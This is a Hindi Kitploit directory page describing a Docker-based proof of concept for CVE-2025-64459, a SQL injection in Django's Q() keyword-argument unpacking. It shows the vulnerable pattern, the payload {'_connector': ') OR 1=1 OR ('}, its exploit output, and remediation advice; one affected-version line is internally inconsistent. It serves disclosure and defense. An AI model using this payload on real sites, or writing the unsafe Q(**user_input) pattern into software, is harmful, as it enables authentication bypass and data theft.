Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-64459-Poc — भेद्यता: SQL Injection via QuerySet और Q() कीवर्ड आर्गुमेंट अनपैकिंग। CVE पहचान: CVE-2025-64459 गंभीरता: गंभीर (CVSS 9.1) प्रभावित संस्करण: Django 5.1 < 5.1.14, 4.2 < 4.2.26, और 5.2 < 5.2.8। शोधकर्ता: Cyberstan (वारविक विश्वविद्यालय) | Kitploit
उपकरण/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

भेद्यता: SQL Injection via QuerySet और Q() कीवर्ड आर्गुमेंट अनपैकिंग। CVE पहचान: CVE-2025-64459 गंभीरता: गंभीर (CVSS 9.1) प्रभावित संस्करण: Django 5.1 < 5.1.14, 4.2 < 4.2.26, और 5.2 < 5.2.8। शोधकर्ता: Cyberstan (वारविक विश्वविद्यालय)

रिपॉजिटरी देखें
2139 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-64459: Django ORM SQL इंजेक्शन PoC

Severity CVSS Django

भेद्यता: QuerySet और Q() कीवर्ड आर्गुमेंट अनपैकिंग के माध्यम से SQL इंजेक्शन। CVE ID: CVE-2025-64459 द्वारा खोजा गया: मैं (Cyberstan) प्रकटीकरण तिथि: 5 नवंबर, 2025


🚨 कार्यकारी सारांश

इस रिपॉजिटरी में एक डॉकरीकृत प्रूफ ऑफ कॉन्सेप्ट (PoC) है जो Django ORM में एक गंभीर SQL इंजेक्शन भेद्यता प्रदर्शित करता है।

भेद्यता इस बात में मौजूद है कि Q ऑब्जेक्ट इंस्टेंटिएशन के दौरान कीवर्ड आर्गुमेंट को कैसे संभालता है। विशेष रूप से, आंतरिक _connector विशेषता डिक्शनरी अनपैकिंग (जैसे, Q(**user_input)) के माध्यम से पारित होने पर ठीक से स्वच्छ नहीं की जाती है। यह एक दूरस्थ हमलावर को डेटाबेस क्वेरी के खंड में मनमाना SQL तर्क इंजेक्ट करने की अनुमति देता है, जिससे , , और संभव होती है।

WHERE
प्रमाणीकरण बाईपास
डेटा बहिर्गमन
विशेषाधिकार वृद्धि

प्रभावित संस्करण

  • Django 5.1: संस्करण < 5.1.14
  • Django 5.0: संस्करण < 5.2.8
  • Django 4.2: संस्करण < 4.2.26

⚙️ तकनीकी विश्लेषण

मूल कारण

भेद्यता django.db.models.sql.where.WhereNode में स्थित है। as_sql विधि, जो SQL WHERE खंड को संकलित करने के लिए जिम्मेदार है, क्वेरी कनेक्टर (AND/OR) सम्मिलित करने के लिए असुरक्षित स्ट्रिंग फॉर्मेटिंग का उपयोग करती है।

root@kitploit:~
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
    # ...
    # The self.connector attribute is injected directly without validation
    conn = ' %s ' % self.connector
    # ...

हमला वेक्टर

भेद्यता तब ट्रिगर होती है जब डेवलपर्स उपयोगकर्ता इनपुट से फ़िल्टर बनाने के लिए डिक्शनरी अनपैकिंग का उपयोग करते हैं—जो सर्च APIs में एक सामान्य पैटर्न है।

असुरक्षित कोड पैटर्न:

root@kitploit:~
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict() 
query = Q(**filters)  # <--- VULNERABLE POINT
results = User.objects.filter(query)

यदि कोई हमलावर अपने इनपुट में _connector को एक कुंजी के रूप में शामिल करता है, तो वे SQL संरचना में हेरफेर कर सकते हैं।


🛠️ पुनरुत्पादन चरण

यह PoC एक सुसंगत, पृथक वातावरण सुनिश्चित करने के लिए Docker का उपयोग करता है जिसमें Django का भेद्य संस्करण (5.1) शामिल है।

पूर्वापेक्षाएँ

  • Docker
  • Docker Compose

1. रिपॉजिटरी क्लोन करें

root@kitploit:~
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. एक्सप्लॉइट चलाएँ

निम्नलिखित कमांड चलाकर वातावरण बनाएँ और अटैक स्क्रिप्ट निष्पादित करें:

root@kitploit:~
docker-compose up --build

3. आउटपुट का विश्लेषण करें

कंटेनर एक Python स्क्रिप्ट (poc.py) निष्पादित करेगा जो एक भेद्य अनुप्रयोग एंडपॉइंट का अनुकरण करता है।

  1. यह दो उपयोगकर्ता बनाता है: alice (मानक) और root (व्यवस्थापक)।
  2. यह दुर्भावनापूर्ण _connector पेलोड वाले एक खोज अनुरोध का अनुकरण करता है।
  3. यह परिणामी कच्चा SQL और लीक हुई डेटाबेस पंक्तियों को प्रिंट करता है।

सफल एक्सप्लॉइट आउटपुट:

root@kitploit:~
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.

🛡️ उपचार

तत्काल पैच

Django को तुरंत नवीनतम सुरक्षा रिलीज़ में अपग्रेड करें।

  • pip install Django==5.1.14 (या प्रासंगिक संस्करण)

पैच WhereNode में सख्त सत्यापन प्रस्तुत करता है, यह सुनिश्चित करता है कि connector हमेशा केवल AND या OR के बराबर हो।

कोड स्वच्छता / कार्य-विकल्प

यदि आप तुरंत अपग्रेड नहीं कर सकते, तो अपने कोडबेस में Q(**kwargs) या filter(**kwargs) के उपयोग का ऑडिट करें। सुनिश्चित करें कि इन विधियों को पारित किए गए डिक्शनरी में कभी भी कच्ची उपयोगकर्ता-नियंत्रित कुंजियाँ न हों।

सुरक्षित पैटर्न:

root@kitploit:~
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# Now safe to unpack
User.objects.filter(**clean_filters)

⚠️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।

प्रदान किया गया कोड एक विशिष्ट सुरक्षा दोष प्रदर्शित करने के लिए एक भेद्य वातावरण बनाता है। इसे कभी भी उत्पादन वातावरण में नहीं चलाया जाना चाहिए। लेखक (Cyberstan) इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध इस एक्सप्लॉइट का परीक्षण करना अवैध है। '''

टूल डाउनलोड करें